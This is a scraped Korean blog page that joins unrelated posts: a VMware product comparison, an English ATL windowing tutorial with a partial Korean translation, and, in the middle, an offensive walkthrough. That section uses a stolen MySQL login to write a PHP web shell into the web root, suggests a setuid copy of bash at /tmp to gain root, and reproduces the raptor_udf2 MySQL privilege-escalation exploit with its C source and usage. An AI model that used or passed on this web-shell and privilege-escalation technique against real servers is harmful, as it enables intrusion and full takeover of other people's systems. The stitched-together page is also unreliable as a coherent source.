[ VMWare ] Workstation / GSX Server / ESX Server 의 차이점

▣출처 : http://blog.naver.com/real_genius/150012112050

▒ VMWare Workstation

VMWare Workstation 은 호스트 OS 로 Workstation 즉 Windows NT workstation /Windows Professional / Windows XP / Linux 등을 사용하게 된다. 주로 테스트 용도나교육장 등에서 많이 사용한다.

▒ VMware GSX Server

VMWare GSX Server 는 호스트 OS 로ServerOS 즉 Windows NT Server, Windows 2000 Server, Windows 2003 Server, Linux등을 사용한다.주로 서버 테스트 용도로 사용한다.

▒ VMware ESX Server

VMWare ESX Server 는 앞의 두 제품과 달리 호스트 OS 없이 가상서버를 구현한다. 즉 LInux 기본 커널만 올려서 VMware Kernel 을 올릴 수 있게만 해주고 그 위에서 서버 자원을 공유하게 된다.주로 Data Center 에서 Service 용도로 사용하게 되며, SAN(Storage Area Network) 기반에서 운영이 됩니다.



▒ 특징

VMWare Workstation 과 VMWare GSXServer 는 호스트 기반의 VM 이며 VMWare ESX Server 는 Hostless 기반의 VM 입니다. 그냥보면 별 차이 없어 보이지만 성능면에서는 월등한 차이를 보이게 됩니다. 다시말하면 HOST 기반의 VM 은 가상머신이 자원을 사용하려 할때 OS Layer 를 거쳐서 자원에 접근하게 됩니다.
때문에 HOST OS 에도부담을 주고 가상머신에도 부담을 주게 됩니다. 때문에 Performance는 떨어지게 되죠. 반면에 Hostless 기반의 VMWare ESX Server 는 가상서버가 자원에 접근할때 Direct 로 접근을 하게 됩니다. 때문에 거의 Performance 에 영향을 받지 않으므로 서비스용으로도 충분히 사용가능합니다.
VMWare ESX Server 는 일반적으로 80개까지 OS 를 운영할수 있으며, 대부분의 사이트에서 8 ~10 개의 OS 를 운영을 합니다.
하드웨어 업체들은 고사양의 하드웨어를 속속 발표하고 있지만 OS 를 만드는 Windows 나 Linux 는 자원의 효율적 활용을 기반으로 Upgrade 를 진행하게 됩니다.
때문에 앞으로는 더더욱 가상서버의 활용도가 높아질 것은 당연한 것이라고 할 수 있죠.

'Computer Science' 카테고리의 다른 글

C++ 소켓 프로그래밍 라이브러러  (0) 2009.05.18
인터넷 소켓 활용  (0) 2009.05.18
Using the ATL Windowing Classes  (0) 2009.04.28
ATL::CWindow 사용하기  (0) 2009.04.28
wtl  (0) 2009.04.25
이런 짓을 실제로 쓸떄가 있나요?
-_-; 본인 같은 경우는 실제로 쓸떄가 있었다.
어째든 쓸 경우는
mysql 계정은 획득 했지만,
shell은 얻지 못했을 경우 사용하는 것 이다. (*__)

1. 대상 mysql 서버에 접속을 합니다.

Administrator>mysql -h dualexample.com -u dual -p
Enter password: ************

Welcome to the MySQL monitor. Commands end with ; or g.
Your MySQL connection id is 1101 to server version: 4.1.15-Debian_1-log

Type 'help;' or 'h' for help. Type 'c' to clear the buffer.

mysql>

2. 사용 가능한 데이터 베이스를 선택합니다.

mysql> show databases;
+----------+
| Database |
+----------+
| dual |
+----------+
1 row in set (0.26 sec)

mysql> use dual;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

mysql> show tables;
+--------------------------+
| Tables_in_dual |
+--------------------------+
0 rows in set (0.00 sec)


3. 테이블을 하나 만듭니다.

mysql> create table DualExploit(exploit char(500) not null);
Query OK, 0 rows affected, 1 warning (0.02 sec)

mysql> show tables;

+--------------------------+
| Tables_in_dual |
+--------------------------+
| DualExploit |
+--------------------------+
1 rows in set (0.00 sec)

4. 이 테이블의 값을 세팅 합니다.

mysql> insert into DualExploit values('');
Query OK, 1 row affected (0.00 sec)

mysql> select * from DualExploit;
+------------------+
| exploit |
+------------------+
| |
+------------------+
1 row in set (0.01 sec)

5. 파일로 OUT 시킵니다.

mysql> select * from DualExploit INTO
OUTFILE '~/public_html/shell.php';

Query OK, 1 row affected (0.00 sec)

6. 정상적으로 생성되었는지 확인합니다.

http://dualexample.com/shell.php?cmd=id

-> nobody nobody nobody

----------------------------------------------
이번 글 에서는 mysql을 이용하여
웹쉘을 생성해서 대상 서버에서 쉘을 획득하는 방법에 대해서
다루어 보았는데요,
웹쉘을 획득한 후,
cp /bin/bash /tmp/myshell
chmod 6777 /tmp/myshell
을 실행시키도록 파일을 만들어놓고,
이것을 웹쉘에서 실행 시키면,
Root를 얻기도 하지요. :)

-----------------------------------------
//MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit
/ * "UDFs should have at least one symbol defined in addition to the xxx symbol
* that corresponds to the main xxx() function. These auxiliary symbols
* correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and
* xxx_add() functions". -- User Defined Functions Security Precautions
*
* Usage:
* $ id
* uid=500(raptor) gid=500(raptor) groups=500(raptor)
* $ gcc -g -c raptor_udf2.c
* $ gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
* $ mysql -u root -p
* Enter password:
* [...]
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
* mysql> create function do_system returns integer soname 'raptor_udf2.so';
* mysql> select * from mysql.func;
* +-----------+-----+----------------+----------+
* | name | ret | dl | type |
* +-----------+-----+----------------+----------+
* | do_system | 2 | raptor_udf2.so | function |
* +-----------+-----+----------------+----------+
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
* mysql> ! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
*/

#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);

system(args->args[0]);

return(0);
}

char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
return(0);
}

---------------------------------------------- # dualpage.muz.ro [2008-01-24]

'기본 카테고리' 카테고리의 다른 글

EasyGTK를 이용한 GUI 프로그래밍  (0) 2009.05.19
[본문스크랩] IPTABLES - DDoS | 5.DDOS방어 서버  (0) 2009.05.18
atl/wtl 속성강좌  (0) 2009.04.25
atl  (0) 2009.04.25
우분투에 php, jsp 개발환경 만들기  (0) 2009.04.22
Using the ATL Windowing Classes
Rating: none

Andrew Whitechapel (view profile)
April 12, 2001

In this article I'll provide an introduction to the ATL windowing classes, and a simple cookbook tutorial on an ATL frame-view application -- you'll see that it's actually quite easy to implement front-end functionality equivalent to the MFC. The learning curve with ATL windowing is much less steep and much shorter than learning the MFC because the ATL is so much smaller.

Although the ATL is designed primarily to support COM, it does contain a range of classes for modeling windows. You can use these classes for COM objects that have windows, such as ActiveX Controls, and for Windows applications that do not necessarily involve COM. The most important ATL windowing classes are listed in the table below:
(continued)

CWindow A thin wrapper to the Win32 APIs for manipulating a window, including a window handle and an HWND operator that converts a CWindow object to an HWND. Thus you can pass a CWindow object to any function that requires a handle to a window.
CWindowImpl You can use CWindowImpl to create a window based on a new Windows class, superclass an existing class, or subclass an existing window.
CContainedWindow A class that implements a window which routes messages to the message map of another class, allowing you to centralize message processing in one class.
CAxWindow Allows you to implement a window that hosts an ActiveX control, with functions to create a control or attach to an existing control.
CDialogImpl Used as a base class for implementing a modal or modeless dialog box. CDialogImpl provides a dialog box procedure that routes messages to the default message map in your derived class. Does not support ActiveX controls.
CSimpleDialog Implements a simple modal dialog box given the resource ID of the dialog box. CSimpleDialog has a predefined message map that handles known commands such as IDOK and IDCANCEL.
CAxDialogImpl Like CDialogImpl, this is used as a base class for implementing a modal or modeless dialog box, and provides a dialog box procedure that routes messages to the default message map in your derived class. Additionally supports ActiveX controls. The ATL Object Wizard supports adding a CAxDialogImpl-derived class to your project and generates an accompanying dialog resource.
CWndClassInfo Manages the information of a new window class -- essentially encapsulates WNDCLASSEX.
CWinTraits and CWinTraitsOREncapsulate the traits (WS_ window styles) of an ATL window object.

Message Maps

One factor in the reluctance to invest the time in learning ATL windowing is a perception that ATL message maps are weird. OK, they're different from the MFC message maps, but did you understand MFC message maps the first time you saw the macros? In fact, the ATL maps are surprisingly easy to grasp. To allow you to process window messages in a CWindowImpl-derived class, ATL inherits from the abstract base class CMessageMap. CMessageMap declares one pure virtual function, ProcessWindowMessage, which is implemented in your CWindowImpl-derived class via the BEGIN_MSG_MAP and END_MSG_MAP macros.

In addition to the familiar format of MFC message handlers, ATL message handler functions accept an additional argument of type BOOL&. This argument indicates whether a message has been processed, and it's set to TRUE by default. A handler function can then set the argument to FALSE to indicate that it has not handled a message. In this case, ATL will continue to look for a handler function further in the message map. By setting this argument to FALSE, you can first perform some action in response to a message and then allow the default processing or another handler function to finish handling the message.

There are three groups of message map macros, as listed in the table below:

  • Message handlers for all messages
  • Command handlers for WM_COMMAND messages
  • Notification handlers for WM_NOTIFY messages
MESSAGE_HANDLER Maps a window message to a handler function.
COMMAND_HANDLER Maps a WM_COMMAND message to a handler function based on the notification code and the ID of the menuitem, control, or accelerator.
COMMAND_ID_HANDLER Maps a WM_COMMAND message to a handler function based on the ID of the menuitem, control, or accelerator.
COMMAND_CODE_HANDLER Maps a WM_COMMAND message to a handler function based on the notification code.
NOTIFY_HANDLER Maps a WM_NOTIFY message to a handler based on the notification code and the control identifier.
NOTIFY_ID_HANDLER Maps a WM_NOTIFY message to a handler based on the control identifier.
NOTIFY_CODE_HANDLER Maps a WM_NOTIFY message to a handler based on the notification code.

For example, if you have an ATL dialog class with child controls on the form, you might have a message map like the one shown below:

BEGIN_MSG_MAP(CMyDialog) MESSAGE_HANDLER(WM_INITDIALOG, OnInitDialog) COMMAND_HANDLER(IDC_EDIT1, EN_CHANGE, OnChangeEdit1) COMMAND_ID_HANDLER(IDOK, OnOK) COMMAND_CODE_HANDLER(EN_ERRSPACE, OnErrEdits) NOTIFY_HANDLER(IDC_LIST1, NM_CLICK, OnClickList1) NOTIFY_ID_HANDLER(IDC_LIST2, OnSomethingList2) NOTIFY_CODE_HANDLER(NM_DBLCLK, OnDblClkLists)END_MSG_MAP()

The MFC architecture allows it to use two distinct message routing schemes: routing windows messages up through the hierarchy, and routing command messages across the doc-view classes. The first scheme is less appropriate in the ATL, which has a much looser hierarchy of partially implemented template classes. The second scheme is not appropriate because the ATL does not rigidly impose anything equivalent to the MFC doc-view architecture.

The ATL provides two ways to handle messages sent by different windows in a single message map: alternate message maps and chained message maps. A parent window can also handle messages sent to it by a child control by sending the message back as a reflected message.

Alternate Message Maps

Alternate message maps are primarily designed for use with the ATL class CContainedWindow. This class is written to route all of its messages to the message map in another class. This allows messages sent to a child window to be handled by its parent window.

The CContainedWindow constructor needs to be given the address of the class that contains the message map to be used, and the ID of the alternate message map within the message map (or zero for the default message map).

For example, when you create an ATL control based on a Windows control, the Object Wizard will generate a class for the control with an embedded CContainedWindow member to represent the child control. In effect, this contained window superclasses the particular Windows control you have chosen to base your ActiveX control on:

class ATL_NO_VTABLE CMyButton : public CComObjectRootEx<CComSingleThreadModel>, public CComCoClass<CMyButton, &CLSID_MyButton>, public CComControl<CMyButton>, //...{public: CContainedWindow m_ctlButton; CMyButton() : m_ctlButton(_T("Button"), this, 1) { }BEGIN_MSG_MAP(CMyButton) MESSAGE_HANDLER(WM_CREATE, OnCreate) MESSAGE_HANDLER(WM_SETFOCUS, OnSetFocus) CHAIN_MSG_MAP(CComControl<CMyButton>) ALT_MSG_MAP(1)END_MSG_MAP()//...

Note that Button is the WNDCLASS style, not the caption. This pointer of the containing class is passed as the second parameter, and the value 1 is passed to the CContainedWindow constructor to identify the alternate message map.

If you then want to handle the WM_LBUTTONDOWN for the control, you would update the message map as shown below. In this way, the message would be routed to the parent window's message map, and then routed to the alternate part of that message map:

BEGIN_MSG_MAP(CMyButton) MESSAGE_HANDLER(WM_CREATE, OnCreate) MESSAGE_HANDLER(WM_SETFOCUS, OnSetFocus) CHAIN_MSG_MAP(CComControl<CMyButton>)ALT_MSG_MAP(1) MESSAGE_HANDLER(WM_LBUTTONDOWN, OnLButtonDown)END_MSG_MAP()

So, alternate message maps are a simple strategy to allow you to consolidate message handlers within a single BEGIN_MSG_MAP/END_MSG_MAP macro pair.

Chained Message Maps

Chaining message maps routes the message through to the message map in another class or object. ATL supplies several map-chaining macros:

CHAIN_MSG_MAP(theBaseClass)Routs messages to the default message map of a base class.
CHAIN_MSG_MAP_ALT(theBaseClass, mapID)Routes messages to the alternate message map of a base class.
CHAIN_MSG_MAP_MEMBER(theMember)Routes messages to the default message map of the specified data member (derived from CMessageMap).
CHAIN_MSG_MAP_ALT_MEMBER(theMember, mapID)Routes messages to the alternate message map of the specified data member.

For example, when you create an ATL control based on a Windows control, the Object Wizard will generate code like this:

BEGIN_MSG_MAP(CMyButton) MESSAGE_HANDLER(WM_CREATE, OnCreate) MESSAGE_HANDLER(WM_SETFOCUS, OnSetFocus) CHAIN_MSG_MAP(CComControl<CMyButton>)ALT_MSG_MAP(1)END_MSG_MAP()

This specifies that WM_CREATE and WM_SETFOCUS messages will be handled in this class, but any other message will be routed to the message map in the CComControl<> base class. Also, if the handlers for WM_CREATE or WM_SETFOCUS set bHandled to false, these messages will then be passed on to the base class for further handling.

To route messages to a data member, you'd have to update the map like this:

BEGIN_MSG_MAP(CMyButton) MESSAGE_HANDLER(WM_CREATE, OnCreate) MESSAGE_HANDLER(WM_SETFOCUS, OnSetFocus) CHAIN_MSG_MAP(CComControl<CMyButton>)ALT_MSG_MAP(1) CHAIN_MSG_MAP_MEMBER(m_ctlButton)END_MSG_MAP()

This assumes that m_ctlButton is a member of the container window, and is an instance of a class derived from CContainedWindow where you have an entry in the message map for the messages you're interested in:

class CMyButtonControl : public CContainedWindow{ //... BEGIN_MSG_MAP(CMyButtonControl)  MESSAGE_HANDLER(WM_LBUTTONDOWN, OnLButtonDown) END_MSG_MAP()

So, chained message maps allow you to chain-route messages from one map to another -- similar in concept to the message routing schemes adopted by the MFC.

Reflected Messages

A parent window can handle windows messages sent to it by a child control by sending the message back as a reflected message -- this will be the original message plus a flag. When the control gets these messages, it can identify them as being reflected from the container and handle them appropriately. For example, a child control might want to handle WM_DRAWITEM messages. For this to work, REFLECT_NOTIFICATIONS must be present in the parent window's message map:
BEGIN_MSG_MAP(CMyDialog) MESSAGE_HANDLER(WM_INITDIALOG, OnInitDialog) COMMAND_ID_HANDLER(IDOK, OnOk) NOTIFY_HANDLER(IDC_EDIT1, EN_CHANGE, OnChangeEdit1) REFLECT_NOTIFICATIONS()END_MSG_MAP()

The REFLECT_NOTIFICATIONS macro expands to a call to CWindowImpl::ReflectNotifications, which has this signature:

template <class TBase>LRESULT CWindowImplRoot<TBase>::ReflectNotifications(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled);

The function extracts the window handle to the child control that sent the message from the wParam or lParam (depending on the type of message), and then sends the message on like this:

::SendMessage(hWndChild, OCM_ _BASE + uMsg, wParam, lParam);

The child window handles the reflected message using the standard MESSAGE_HANDLER macros and the predefined reflected message IDs defined in olectrl.h:

BEGIN_MSG_MAP(CMyContainedControl) MESSAGE_HANDLER(OCM_DRAWITEM, OnDrawItem) DEFAULT_REFLECTION_HANDLER()END_MSG_MAP()

OCM_DRAWITEM, shown in this example, is defined as follows:

#define OCM_ _BASE          (WM_USER+0x1c00)#define OCM_COMMAND         (OCM_ _BASE + WM_COMMAND)//...#define OCM_DRAWITEM        (OCM_ _BASE + WM_DRAWITEM)

The DEFAULT_REFLECTION_HANDLER macro converts the message back to the original message and passes it to DefWindowProc.

Recipe 1: ATL Window App

This is a very simple exercise, designed to demonstrate how easy it is to create a simple application using the ATL window classes. Here's one I made earlier:

The ATL COM AppWizard is designed to provide a host for COM objects. If you want a non-COM application, the ATL COM AppWizard code is more than you need. So, to create an ATL application, you have two choices:

  • Create an ATL COM AppWizard EXE server, and accept the (possibly superfluous) overhead.
  • Create a Win32 Application, and manually add ATL support.

Just so you can see exactly what's required, we'll deliberately avoid any wizard-generated code, and follow the second route to achieve the minimum lightweight framework for our application.

  1. Create a new Win32 Application, selecting the Simple option, so that we get the stdafx.h and stdafx.cpp. ('afx', of course is a hangover from the MFC, but the name is irrelevant - what's important is the PCH).

    ATL Support

  2. Modify stdafx.h to add the necessary ATL headers and an extern reference to the global CComModule object:
    #include <atlbase.h>extern CComModule _Module;#include <atlcom.h>#include <atlwin.h>
  3. Add an ATL object map to the main CPP file - it'll be empty, but we need it for the CComModule object. Also declare the global CComModule object:
    CComModule _Module;BEGIN_OBJECT_MAP(ObjectMap)END_OBJECT_MAP()
  4. Add an IDL file with the same name as the project. This must have a library block. It doesn't need to be built as part of the project (and you should set the Project|Settings to exclude it from the build), but it needs to exist for the wizards to work. And you can use any name you like for the library.:
    library SomethingOrOther{};

    Window

  5. There is no wizard support for creating classes specifically using the ATL window classes, so we'll have to add a generic class with the New Class dialog and then modify it manually. Right-click the root node in classview, and select New Class. Use the class type: Generic Class, the name CMyWindow, and the base class CWindowImpl<CMyWindow>. You'll get a complaint about these ATL window classes because the wizard will generate a new header for your new class but won't #include the stdafx.h (where atlwin.h has been included) and won't know about these classes. Fix this by #including the stdafx.h.

  6. In your new window class, declare a message map then save the file:
    BEGIN_MSG_MAP(CMyWindow)END_MSG_MAP()
  7. In classview, right-click your new window class to get a handler for WM_DESTROY. Code this to post a quit message:
    LRESULT OnDestroy(UINT uMsg, WPARAM wParam,                  LPARAM lParam, BOOL& bHandled){ PostQuitMessage(0); return 0;}
  8. Similarly, get a handler for WM_PAINT, and code to print out a string. You can see straight away that - as usual with the ATL - we're straight out to API code. And there's no ATL class to wrap an HDC, although, there is in the WTL):
    LRESULT OnPaint(UINT uMsg, WPARAM wParam,                LPARAM lParam, BOOL& bHandled){ PAINTSTRUCT ps; HDC hDC = GetDC(); BeginPaint(&ps); TextOut(hDC, 0, 0, _T("Hello world"), 11); EndPaint(&ps); return 0;}

    WinMain

  9. At the top and bottom of WinMain, code the usual CComModule::Init and Term calls:
    _Module.Init(NULL, hInstance);// ..._Module.Term();
  10. Between the Init and Term, declare an instance of your window class, and initialize it with a call to Create (don't forget to #include the header). Then set up a message loop:
    CMyWindow wnd;wnd.Create(NULL, CWindow::rcDefault, _T("Hello"),           WS_OVERLAPPEDWINDOW|WS_VISIBLE);MSG msg;while(GetMessage(&msg, NULL, 0, 0)){ TranslateMessage(&msg); DispatchMessage(&msg);}
  11. Now, build and run your application. You should find that you'll have a window just like the one shown above with the customary "Hello World" message in the client area.
Easy-peasy, huh? Now let's take this a step further with another demo...

Recipe 2: ATL Frame-View App

In this project we'll create an application modeled on the MFC SDI frame-view paradigm, but use the ATL window classes. The first version of this app will look almost the same as the previous SimpleWin, but then we'll add a view, menus, and dialogs.

  1. Create a new 'Simple' Win32 Application. As before, modify stdafx.h to add the necessary ATL headers and an extern reference to the global CComModule object. Add an ATL object map to the main CPP file and declare the global CComModule object. Also add a skeleton IDL file with a library block.

    Mainframe Window

  2. Right-click the root node in classview, and select New Class. Use the class type: Generic Class, the name CMainFrame, and the base class CWindowImpl<CMainFrame, CWindow, CFrameWinTraits>. Note that CFrameWinTraits is a typedef (in atlwin.h) for a specialization of CWinTraits suitable for a main-frame window. In this new CMainFrame class, declare the WNDCLASS struct name, and a message map:
    DECLARE_WND_CLASS(_T("MyFrame"))BEGIN_MSG_MAP(CMainFrame)END_MSG_MAP()
  3. We have inherited the function OnFinalMessage - one of the few virtual functions in the ATL - and this will be called by ATL when a WM_NCDESTROY message is received. We need to override this to post a quit message:
    void OnFinalMessage(HWND /*hWnd*/){ ::PostQuitMessage(0);}
  4. Now add some code to WinMain. At the top and bottom call the usual CComModule initialization/termination routines:
    _Module.Init(NULL, hInstance, NULL);_Module.Term();
  5. #include the mainframe class header, declare an instance of the frame between the Init and Term, declare another instance of the frame, and initialize it with a call to Create. Then run a message loop:
    CMainFrame mf;mf.Create(GetDesktopWindow(), CWindow::rcDefault,      _T("My App"), 0, 0, 0);mf.ShowWindow(SW_SHOWNORMAL);MSG msg;while (GetMessage(&msg, 0, 0, 0)){ TranslateMessage(&msg); DispatchMessage(&msg);}

  6. Bake and serve.

    View Window

  7. Now we'll add a view class. Right-click in classview to create another new class. Again, make it a generic class. Call it CViewWin, derive it from CWindowImpl<CViewWin, CWindow, CWinTraits >. Remember there is no predefined typedef for a CWinTraits specialization suitable for a view.

  8. #include the stdafx.h and declare the WNDCLASS and message map as before. Then add a CViewWin instance as a member in the CMainFrame class, and get a WM_CREATE handler in the frame: implement this to create the view:
    LRESULT OnCreate(UINT uMsg, WPARAM wParam,                 LPARAM lParam, BOOL& bHandled){ m_wndView.Create(m_hWnd, CWindow::rcDefault,                  _T("MyView"), 0, 0, 0); return 0;}
  9. Also get a WM_SIZE handler in the frame and implement to size the view. Return to the oven and serve again:
    LRESULT OnSize(UINT uMsg, WPARAM wParam,               LPARAM lParam, BOOL& bHandled){ RECT r; GetClientRect(&r); m_wndView.SetWindowPos(NULL, &r,                        SWP_NOZORDER | SWP_NOACTIVATE ); return 0;}

    User Interface

    Now, we'll handle the WM_LBUTTONDOWN, WM_MOUSEMOVE and WM_LBUTTONUP messages to provide a very simple version of the Scribble program that allows a user to draw lines with the mouse Yes, I know, but it does provide a very manageable vehicle for exploring UI response and message handling:

  10. First, add two POINT data members to the view class, and initialize them both to -1,-1 in the constructor. We need to keep track of the starting and ending point of each line drawn -- and -1,-1 of course would never come in as the coordinate values with a mouse message:
    m_startPoint.x = m_startPoint.y = -1;m_endPoint.x = m_endPoint.y = -1;
  11. Next, right-click to get handlers for the three mouse messages. Unlike the mouse message handlers in the MFC CWnd class, the ATL version doesn't declare the lParam as a CPoint (nor even as a POINT), so you'll have to extract the mouse coordinates yourself. First, the OnLButtonDown code it to log the incoming mouse coordinates as the start point of the line:
    LRESULT OnLButtonDown(UINT uMsg, WPARAM wParam,                      LPARAM lParam, BOOL& bHandled){ m_startPoint.x = LOWORD(lParam); m_startPoint.y = HIWORD(lParam); return 0;}
  12. In the OnLButtonUP, reset the start point to -1:
    LRESULT OnLButtonUP(UINT uMsg, WPARAM wParam,                    LPARAM lParam, BOOL& bHandled){ m_startPoint.x = m_startPoint.y = -1; return 0;}
  13. The OnMouseMove will need a little more work. First, set the line end point to the incoming mouse coordinates. Then get a DC, and use MoveToEx and LineTo to draw the line. Finally, update the start point with the endpoint so the next line will start at the current end point:
    LRESULT OnMouseMove(UINT uMsg, WPARAM wParam,                    LPARAM lParam, BOOL& bHandled){ m_endPoint.x = LOWORD(lParam); m_endPoint.y = HIWORD(lParam); HDC hdc = GetDC(); if (m_startPoint.x != -1 ) {  MoveToEx(hdc, m_startPoint.x, m_startPoint.y, NULL);  LineTo(hdc, m_endPoint.x, m_endPoint.y);  m_startPoint.x = m_endPoint.x;  m_startPoint.y = m_endPoint.y; } return 0;}
  14. Bake and shake. You may ask why aren't there any message crackers in the ATL? Well, of course, that's one of the things that the WTL does address

Recipe 3: ATL Menus

Continue with the Frame-View project. We will add a simple menu to give the user a choice of pen colors.:

  1. Continue with the project. First, add a public COLORREF member variable to the view class, called m_color. Initialize this in the constructor to say black. Then, use this in the OnMouseMove handler to create a pen and select it into the DC, as indicated below. Select the original pen back into the DC afterwards, as normal:
    HPEN hp = CreatePen(PS_SOLID, 2, m_color);HPEN op = (HPEN)SelectObject(hdc, hp);
  2. Insert a menu resource. Add one top-level caption: Color and three menuitems for red, green, and blue.

  3. In WinMain, #include the resource header Just before the creation of the mainframe, load the menu, and pass the handle to the Create call:
    HMENU hMenu = LoadMenu(_Module.GetResourceInstance(),                       MAKEINTRESOURCE(IDR_MENU1));mf.Create(GetDesktopWindow(), CWindow::rcDefault,           _T("My App"), 0, 0, (UINT)hMenu);
  4. We'll put the command handler for the menuitems in the main frame, so #include the resource header and manually update the message map with three new entries:
    BEGIN_MSG_MAP(CMainFrame) MESSAGE_HANDLER(WM_CREATE, OnCreate) MESSAGE_HANDLER(WM_SIZE, OnSize) COMMAND_ID_HANDLER(ID_COLOR_RED, OnColorRed) COMMAND_ID_HANDLER(ID_COLOR_GREEN, OnColorGreen) COMMAND_ID_HANDLER(ID_COLOR_BLUE, OnColorBlue)END_MSG_MAP()
  5. Set the three handlers to do the obvious work, and test again:
    LRESULT OnColorRed(WORD wNotifyCode, WORD wID,                   HWND hWndCtl, BOOL& bHandled){ m_wndView.m_color = RGB(255,0,0); return 0;}

Recipe 4: ATL Dialogs

We'll now add a simple dialog resource. Again, one of the features of the MFC is its rich support of child controls (CEdit, CComboBox, and others), which the ATL doesn't have -- although the WTL does. So how hard is it in ATL? Well, our dialog will feature a combobox, and we'll deliberately not put the strings into the combo in the resource editor - just to show how to work with the controls in a dialog programmatically.
  1. Continue with the project. Add a new top-level caption to the menu: "View" and a menuitem on this: "Dialog". We'll put the command handler for the menuitem in the main-frame message map:
    COMMAND_ID_HANDLER(ID_VIEW_DIALOG, OnViewDialog)
  2. Now for our own dialog: for the first version, we'll just use a CSimpleDialog directly. First, insert a new dialog resource, and paint it with a simple static box. Then change the menuitem command handler to use this. Build and test:
    LRESULT OnViewDialog(WORD wNotifyCode, WORD wID,                     HWND hWndCtl, BOOL& bHandled){ CSimpleDialog<IDD_DIALOG1> dlg; dlg.DoModal(); return 0;}
  3. If we want more sophisticated behaviour from our dialog, we'll have to derive from CSimpleDialog. So, first go to the resource editor and add a drop-down combobox to the dialog.

  4. Then create a new class called CListDialog, derived from CSimpleDialog<IDD_DIALOG1>. Don't forget to #include the stdafx.h. Add a message map to the new class, and an entry in the map to chain to the base-class message map:
    BEGIN_MSG_MAP(CListDialog) CHAIN_MSG_MAP(CSimpleDialog<IDD_DIALOG1>)END_MSG_MAP()
  5. Next, we'll code the WM_INITDIALOG to add some strings to the combobox. First, remove the Sort style in the combobox. Then, right-click on the CListDialog class and select Add Windows Message Handler. Change the filter to Dialog. Add and Edit a handler for WM_INITDIALOG. Code as shown below - you'll see that the crucial declaration of the combobox class object is very similar to what it would be with the MFC:
    LRESULT OnInitDialog(UINT uMsg, WPARAM wParam,                     LPARAM lParam, BOOL& bHandled){ CWindow combo(GetDlgItem(IDC_COMBO1)); combo.SendMessage(CB_ADDSTRING, 0, (LPARAM)"Red"); combo.SendMessage(CB_ADDSTRING, 0, (LPARAM)"Green"); combo.SendMessage(CB_ADDSTRING, 0, (LPARAM)"Blue"); return CSimpleDialog<IDD_DIALOG1>::OnInitDialog(  uMsg, wParam, lParam, bHandled);}

  6. Note: make sure the CHAIN_MSG_MAP macro is the last entry in the map. Change the menuitem handler in the frame to use this new CListDialog class. Build and test.

  7. OK, but what about DDX/DDV? I hear you say. Well, let's code the IDOK pushbutton to retrieve the selected string from the list. First put the appropriate macro in the message map:
    COMMAND_ID_HANDLER(IDOK, OnOK)
  8. Next code the OnOK handler as shown below. We'll store the text into a CComBSTR member in our dialog class called m_text:
    LRESULT OnOK(WORD, WORD wID, HWND, BOOL&){ CComBSTR text; GetDlgItemText(IDC_COMBO1, m_text.m_str); ::EndDialog(m_hWnd, wID); return 0;}
  9. Finally, update the menuitem handler in the frame to make use of the text extracted from the dialog, then build and test:
    LRESULT OnViewDialog(WORD wNotifyCode, WORD wID,                     HWND hWndCtl, BOOL& bHandled){ // CSimpleDialog<IDD_DIALOG1> dlg; CListDialog dlg; if (IDOK == dlg.DoModal()) {  if (dlg.m_text == CComBSTR("Red"))   m_wndView.m_color = RGB(255,0,0);  else if (dlg.m_text == CComBSTR("Green"))   m_wndView.m_color = RGB(0,255,0);  else if (dlg.m_text == CComBSTR("Blue"))   m_wndView.m_color = RGB(0,0,255); } return 0;}

If you want to extend this app with toolbars and statusbars, you can use the ATL CStatusBarCtrl and CToolBarCtrl classes - these are defined in atlcontrols.h, although Microsoft doesn't officially support them. In the next article, I'll consider the WTL -- another officially unsupported Microsoft library. You'll then be able to make intelligent comparisons between ATL and WTL front-end support, and informed decisions about ATL/WTL versus MFC.

'Computer Science' 카테고리의 다른 글

인터넷 소켓 활용  (0) 2009.05.18
[ VMWare ] Workstation / GSX Server / ESX Server 의 차이점  (0) 2009.05.16
ATL::CWindow 사용하기  (0) 2009.04.28
wtl  (0) 2009.04.25
WTL code  (0) 2009.04.25

Using the ATL Windowing Classes


이글은 코드구루의 내용을 연습삼아 번역한 것이라서 번역은 엉망이다.


요즘 ATL 이란 놈이 머리를 아프게 한다...

ATL은 배우는 것은 힘들지만 MFC보다 작기 때문에 배우는데 짧은 기간이 걸린다고 한다.

근데 힘들다는 것은 그만큼 오래 걸린다는 것고 같은 의미라고 느껴진다.

세상에 쉬운것은 없군...

ATL 은 COM을 지원하기 위해 디자인 되었지만 윈도우를 모델링 하는 클래스 영역도 포함한다고

한다. 그리고 ActiveX 같은 윈도우를 가지는 객체도 만들수 있다.

아래는 ATL 에서의 주요 윈도우 클래스들이다.


CWindow - 윈도우를 조작하기 위한 Win32 APIs의 작은 랩퍼 클래스이다.

윈도우 핸들과 HWND 를 CWindow 로 변환하는 오퍼레이터를 포함한다.

그러므로 윈도우 핸들을 필요로하는 어떤 함수에 CWindow 오브젝트를

넘길수 있다.

CWindowImpl - 이미 존재하는 윈도우를 서브클래싱 하거나 이미 존재하는 클래스를

수퍼클래싱 하거나 , 윈도우 베이스의 새로운 윈도우를 만들때

사용한다.
CContainedWindow - 다른 클래스의 메세지 맵을 위한 메세지 경로를 구현한 윈도우

